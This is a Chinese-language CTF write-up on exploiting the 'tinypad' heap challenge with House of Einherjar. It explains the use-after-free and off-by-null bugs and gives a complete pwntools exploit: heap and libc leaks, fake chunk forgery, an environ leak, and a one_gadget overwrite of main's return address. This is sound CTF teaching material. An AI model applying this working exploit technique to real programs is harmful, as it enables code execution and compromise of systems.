[house of einherjar] tinypad

[house of einherjar] tinypad

1. Ida 分析

  1. 程序直接显示chunk中的内容,相当于show了

在这里插入图片描述

  1. delete存在uaf

    在这里插入图片描述

  2. edit函数,tinypad缓冲区读入数据

    在这里插入图片描述

  3. add函数,只能申请4个chunk,使用read_until读入

    在这里插入图片描述

  4. read_until存在off by null

    在这里插入图片描述

2. 思路

  • 条件总结,存在可编辑的数组,存在off by null,chunk中的数据没法轻易的修改(strcpy \x00截断了),可以使用house of einherjar,此外free之后没有置NULL,存在uaf,可以泄漏相关的地址
  1. 首先,通过fastbin泄漏heap的地址,以及unstored bin泄漏libc的地址

    # leak libc and heap_base
    add(0x70,'b'*0x70)
    add(0x70,'b'*0x70)
    add(0xf0,'c'*0xf0)
    add(0xf0,'d'*0x90)
    delete(2)
    delete(1)
    # heap_addr show in fast bin
    p.recvuntil('CONTENT: ')
    heap_base = uu64(p.recvline().rstrip()) - 0x80
    delete(3)
    #libc_addr show in unstored bin
    main_88 =  uu64(p.recvuntil('\x7f')[-6:]) 
    libc_base = main_88 - 88 - 0x3c4b20
    leak("libc_base",libc_base)
    leak("heap_base",heap_base)
    delete(4)
    
    
  2. 用house of einherjar,实现地址写

    1. 明确fake chunk在tinypad+0x20处(前面空0x20一方面是流出缓冲区方便修改,不会破坏fakechunk的head,另一方面,由于最多申请256字节,要能够使fake覆盖到chunk1、2的指针)

    2. 计算fakechunk与chunk2的距离,方便构造chunk2的presize

      # house of einherjar
      add(0x10,'A'*0x10)
      # set chunk2's size,void check
      add(0x100,'B'*0xf8 + p64(0x101))
      add(0x100,'C'*0xf0)
      add(0x100,'D'*0xf0)
      
      # solve the offset between fakechunk and curchunk(chunk2)
      tinypad = 0x602040
      # fake is editable, use edit to modify it
      fakechunk = tinypad + 0x20
      offset = heap_base + 0x20 -fakechunk 
      leak("offet",offset)
      # create leagal fakechunk
      payload = 'D'*0x20 + p64(0) + p64(0x101) + p64(fakechunk)*2
      edit(3,payload)
      

      在这里插入图片描述

      在这里插入图片描述

    3. 通过off by one,覆盖chunk2的preinuse为\x00,delete(2)触发

      delete(1)
      # set chunk2's presize offset
      add(0x18,'a'*0x10+p64(offset))
      # triger houses of einherjar
      delete(2)
      debug()
      # modify fakechunk's head
      edit(4,'d'*0x20 + p64(0)+p64(0x101) + p64(main_88)*2)
      debug()
      

      在这里插入图片描述

  3. 通过fakechunk中编辑的指针修改main_ret为one(这里不用mallochook是因为往目标chunk读入数据时,是通过原来里面的strlen长度决定的,而malochook原本是\x00,因此没法读入)

    1. 这里的修改,寻在先泄漏,再修改,故需要能够往地址写入的构造

    2. 第一次泄漏完,利用chunk2,往chunk1,写入main_ret的地址

      one_gadget_addr = libc_base + 0xf1247
      environ_pointer = libc_base + libc.symbols['__environ']
      # change point of chunk1 and chunk2
      # leak environ_pointer_addr 
      padding = 'f'*0xd0 + 'a'*8 + p64(environ_pointer) + 'a'*8 + p64(0x602148)
      add(0xf0,padding)
      ru('CONTENT: ')
      main_ret = uu64(p.recvline().rstrip()) - 0x8*30
      leak("main_ret",main_ret)
      edit(2,p64(main_ret))
      

      在这里插入图片描述

      在这里插入图片描述

    3. 再通过修改chunk1,修改main_ret为one

      edit(1,p64(one_gadget_addr))
      

      在这里插入图片描述

3. exp

#!/usr/bin/env python
# coding=utf-8
# Author : huzai24601
from pwn import *
from LibcSearcher import *
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF('./tinypad')
p=process(myelf.path)
libc  = ELF('/lib/x86_64-linux-gnu/libc.so.6')
s=lambda data :p.send(data)
sa=lambda delim,data :p.sendafter(delim, data)
sl=lambda data :p.sendline(data)
sla=lambda delim,data :p.sendlineafter(delim, data) 
r=lambda numb=4096 :p.recv(numb)
ru=lambda delims :p.recvuntil(delims)
uu64=lambda data :u64(data.ljust(8,'\x00'))
leak=lambda name,addr :log.success('{} : {:#x}'.format(name, addr))
def debug():
    gdb.attach(p)
    pause()

def add(size,cont):
    sla('(CMD)>>> ','a')
    sla('(SIZE)>>> ',str(size))
    sla('(CONTENT)>>> ',cont)

def edit(index,cont):
    sla('(CMD)>>> ','e')
    sla('(INDEX)>>> ',str(index))
    sla('(CONTENT)>>> ',cont)
    sla('(Y/n)>>> ','Y')

def delete(index):
    sla('(CMD)>>> ','D')
    sla('(INDEX)>>> ',str(index))

# leak libc and heap_base
add(0x70,'b'*0x70)
add(0x70,'b'*0x70)
add(0xf0,'c'*0xf0)
add(0xf0,'d'*0x90)
delete(2)
delete(1)
# heap_addr show in fast bin
p.recvuntil('CONTENT: ')
heap_base = uu64(p.recvline().rstrip()) - 0x80
delete(3)
#libc_addr show in unstored bin
main_88 =  uu64(p.recvuntil('\x7f')[-6:]) 
libc_base = main_88 - 88 - 0x3c4b20
leak("libc_base",libc_base)
leak("heap_base",heap_base)
delete(4)


# house of einherjar
add(0x10,'A'*0x10)
# set chunk2's size,void check
add(0x100,'B'*0xf8 + p64(0x101))
add(0x100,'C'*0xf0)
add(0x100,'D'*0xf0)

# solve the offset between fakechunk and curchunk(chunk2)
tinypad = 0x602040
# fake is editable, use edit to modify it
fakechunk = tinypad + 0x20
offset = heap_base + 0x20 -fakechunk 
leak("offet",offset)
# create leagal fakechunk
payload = 'D'*0x20 + p64(0) + p64(0x101) + p64(fakechunk)*2
edit(3,payload)
delete(1)
# set chunk2's presize offset
add(0x18,'a'*0x10+p64(offset))
# triger houses of einherjar
delete(2)
debug()
# modify fakechunk's head
edit(4,'d'*0x20 + p64(0)+p64(0x101) + p64(main_88)*2)
debug()

one_gadget_addr = libc_base + 0xf1247
environ_pointer = libc_base + libc.symbols['__environ']
# change point of chunk1 and chunk2
# leak environ_pointer_addr 
padding = 'f'*0xd0 + 'a'*8 + p64(environ_pointer) + 'a'*8 + p64(0x602148)
add(0xf0,padding)
ru('CONTENT: ')
main_ret = uu64(p.recvline().rstrip()) - 0x8*30
leak("main_ret",main_ret)
# modify chunk1's point to main_ret 
edit(2,p64(main_ret))
# modify main_ret to onegadget
edit(1,p64(one_gadget_addr))
p.interactive()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值